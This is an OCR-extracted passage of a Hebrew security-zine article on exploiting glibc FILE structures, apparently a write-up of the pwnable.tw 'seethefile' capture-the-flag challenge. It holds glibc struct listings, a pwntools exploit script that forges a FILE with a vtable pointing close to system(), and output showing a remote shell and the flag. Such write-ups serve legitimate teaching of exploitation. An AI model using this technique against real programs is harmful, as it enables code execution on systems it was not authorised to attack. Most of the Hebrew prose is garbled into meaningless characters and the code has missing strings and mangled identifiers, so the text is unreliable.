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File table
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https://www.digitalwhisper.co.il/files/Zines/0x72/DW114-3-SyscallHijacking.pdf
https://en.wikipedia.org/wiki/File_descriptor
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:struct_FILE.h

// struct FILE.h

struct IO FILE {
int flags;
char * I0 read ptr; Current read pointer */
char * I0 read end; End of get area. */
char * IO read base; Start of putback+get area.
char * IO write base; Start of put area. */
char * IO write ptr; Current put pointer. */
char * IO write end; End of put area. */
char * IO buf base; Start of reserve area. */
char * IO buf end; End of reserve area. */
char * IO save base;
char * IO backup base;
char * IO save end;
struct IO marker * markers;
struct IO FILE * chain;
int fileno;
int flags2;
__off t old offset;
unsigned short cur column;
signed char vtable offset;
char shortbuf[l];
IO lock t * lock;
// some newer stuff...
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https://fgiesen.wordpress.com/2015/10/25/reading-and-writing-are-less-symmetric-than-you-probably-think/
https://fgiesen.wordpress.com/2015/10/25/reading-and-writing-are-less-symmetric-than-you-probably-think/
https://www.gnu.org/software/libc/manual/html_node/File-Locks.html
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:libioP.h
// libioP.h
struct IO FILE plus {
FILE file;
const struct IO jump t *vtable;

i

struct IO jump t {

JUMP_FIELD(S
JUMP_FIELD
JUMP_FIELD
JUMP FIELD
JUMP FIELD
JUMP_FIELD
JUMP_FIELD
/* showman
JUMP FIELD
JUMP FIELD

JUMP_FIELD
JUMP_FIELD
JUMP FIELD

ize t,
ize t,

___dummy) ;

__dummy?2) ;

IO finish t,  finish);

IO overflow t,  overflow);
IO underflow t,  underflow);
I0 underflow t,  uflow);

I0 pbackfail t,  pbackfail);
)

IO xsputn t,  xsputn);

IO xsgetn t,  xsgetn);

I0 seekpos t, _ seekpos);
I0 setbuf t,  setbuf);
IO sync t, _ sync);

JUMP FIELD
JUMP_FIELD
JUMP_FIELD
JUMP_FIELD
JUMP FIELD
JUMP FIELD
JUMP_ FIELD
JUMP_ FIELD

IO doallocate t,  doallocate);
IO read t, _ read);

IO write t,  write);

I0 seek t,  seek);

IO close t,
IO stat t,

_close);

:stat);
I0 showmanyc t,  showmanyc);
IO imbue t,  imbue);

(s
(_
(_
(_
(_
(_
Yy

(_
(_

JUMP FIELD( IO seekoff t,  seekoff);

(

(_
(_
(_
(_
(_
(_
(_
(_
(_
(_
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https://code.woboq.org/userspace/glibc/libio/iofopen.c.html
https://code.woboq.org/userspace/glibc/libio/libio.h.html
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https://www.cplusplus.com/reference/streambuf/streambuf/
https://code.woboq.org/userspace/glibc/libio/libioP.h.html
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https://pwnable.tw/challenge/#9
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while (true)

O //

(

N'D 12'TN0N NN D'YAZN ARNPE N0 NN YVINNN NN'Y INTY DRI TN 7V 11yl DX
-0 NN NNYY? ANO5N TIRA TINA DX NT D'Y¥APN 7W D'NN'WN 72 DY .aR790 DX 72771 shell yin®?
-1 X¥n1 vtable-n Y9N D NNTIEN OY9] 1ND NN'Y' NIRT NIWYYT 7511 X7 200 117 .fp 7w vtable

.01I'0 D' DYW7 MDY NI017 |71 MDA w1 X7 n'on' DIna heap

'9 V1 (case 5-1) name 7w YXINN NOMT T 7y yaxn fp X7 NWY AT NIwy? 7011w nn NRT NNt
-2 wnnwn KRN [in fclose-n ny 117 Xxaw X7 Y1917 021 0'91m vtable-l FILE struct ix'7 72

._lO_close_t nTwn NIY¥NNA yalzn DX 11207 7'awA vtable

NaX DYon ,shell N7 x'2'w 010N one gadget IX system NUXa19 0T N'7X YI9P7 MNAN NonNn

0N yan [XD .NIAImdN AN N2 libc 7w DIpmn NX 1Y system N9'R NYT7? 72w 7aN ,system-2
N>IYNI "INIVYYE 7N 0¥V DT ,proc filesystemn Xjpaw 702 WNNWN? XN 117 WD 90N
AWUND D7 ,0'¥ap 7w NN API-R YT ANl Nixa kernel-nn YT Qpw? R'NOINNLVN WX DY

NIMOoN 7D 7w 19Mn NX N7Y 7nnn Y XNE? D .no'Yan v yTn 0fapn mn oy
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https://man7.org/linux/man-pages/man3/system.3.html
https://dzone.com/articles/a-ctf-example-shows-you-the-easy-and-powerful-one
https://man7.org/linux/man-pages/man5/proc.5.html
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N7 1Yl 'R D7RUN nyan [Xoni NRXND system n9'X NyT? 2l /proc/self/maps-n Nd>'Ta

?DM0NTO

NNPI7Y N'¥j19) libioP.h-1 NTam vtable-a NXyniw _10_close_t N'¥j2119N 210 DXYAW 17 D'W)
FILE -0 X N217 D' KIN TX INIX 117'W D system NN 17W closen DX 27 .aun19d 17w fpn NX
INIX O'Y7 0¥ 10NI9N DX 1AYNY 7'aWa P21 NTNNND 17W DINT ON*'Nnl 10N19) struct
TN ,MIP N7 TN X7 72N flags-n Dy DA DYTNON DT NN 0YoNn) LFILE struct-n N7'nN2

.(NT oy PnY'7 X D'YsY

29 Nnon man

from pwn import *

exe ELF ( , False)

libc = ELF( , False)
context.binary = exe

p = remote ( , 10200)

def (filename) : p.sendline ( ); p.sendline (filename)
def () : p.sendline ( )

def : p.sendline ( )

def () : p.sendline ( )

def (name) : p.sendline ( ); p.sendline (name)

popen ( )
pread(); pread()
p.recv (13337)
pwrite ()
line = p.recvline()
while line:
if in line:
libc.address = int(line.split ( ) [0], 16)
break
line = p.recvline()

log.info (f"Libc address: {hex(libc.address) }")

payload =

payload += cyclic (32 - len(payload))
payload += p32 (exe.symbols]|[ 1)
payload += cyclic(28)

payload += p32(libc.symbols]|

payload += cyclic (4)
payload += p32 (exe.symbols |

payload += p32(exe.symbols]|

pexit (payload)
log.info(

p.recv (13337)
p.interactive ()
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https://code.woboq.org/userspace/glibc/libio/libioP.h.html#_IO_close_t
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:NNXINN 021199

), solution.py
[+] Opening connection to chall.pwnable.tw on port 10200: Done

[*] Libc address: 0xf7520000
[*] Sent payload
[*] Switching to interactive mode
Leave your name :Thank you /bin/sh ,see you next time
cd /home/seethefile
1s
flag
get_flag
get_flag.c
run.sh
seethefile
./get_flag # You get the magic from the source file
Your magic :$ Give me the flag
Here is your flag:

19> yalzn NX wn fclose ©WwXOW 7721 0T "some random nullbytes for lock" :niw% 27 mw
qiuonal 'y oN' XIn NNk L (71vann) notTa onf7R amdY? orma Y P b motay
[>71 NULL derefrence niwy'?7 n011 NIyva ™) 0 XIN 71vIN7 102190 DNI |11'DN segmentation fault

.NDINN Y [IN2'TNN 0O'XiNd X7 D'Na nnd locka 'Mnw

T2 7w vtable-7 Dal FILE-7 NaIN))> name? on"Nn XY XiIn payload-2 N9 MIzw nn ,737 qoia

.FILE-N y¥xnX2 71212 system NX DY DA IX NNY7 DT IY7R 2IMD7 [NW DI7n2a 10Ny
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Did'o

7¥97 'Mu7Nn T NTH NKRN2A 720 7Y 2MdY7 'Mpoon X7 .ATh 270N NIRNPN DNINIY AlEN ,N'WUR)

D'192N TAIY XIN 'R 72V N¥pI FILE Structure-n 7y 1'20n X 'NDIN 2702 D70 2-7 IXNN DX

libc 7w myy Tiza T AN poyninY? 7an

,arbitrary read/write A'win7 1> buffering-n N>YN2 wnnwn? N1 'K 2V 2ANOKR X XN 77N
return oriented programming 7w 210 TIY 1IX'7 *TD D'¥APN 7W NWIZNAN NN'WAN DX 7¥17 [N 'R
q'OIX DA "7IX .2.24 XY libc NIXONAQ 121192 NIAX N NI72ANN NIX 112V7 'R DAl D'O'ATRA YNNI

210 DYVY7 DWI DD NIYYI9N 7w source code-7 DM10N N¥j?

N2 X NO'XNI"IR''N

.70 190N N9 MIANAL TAIT YATd .NINY NMpa "2 ipnal 16 2 IR 78y nmy 'y
N71y Ny> .NL'0NQ1IINA D'ONIR D'NRI7 N "NN'O'TIR" N'IDN NNA0N2 2'1AN 7N NV'ON2NINA T

.Jaro 717002 NI e nwwn mvh

NN 2N2Y7 TITYAI DNYAN ,N2'NN 7V ,N2INA 120N 71701 WX ,1MIviR miIYY? Nimno nx X

N7 MNRNN

amittpb@gmail.com :7''na "X NN9Y7 [N NNRNI NNYNY

'N 7N - Pwning FILE structs yaipn 2vl waTtn v
www.DigitalWhisper.co.il
12 2021 11,130 1"



mailto:amittpb@gmail.com

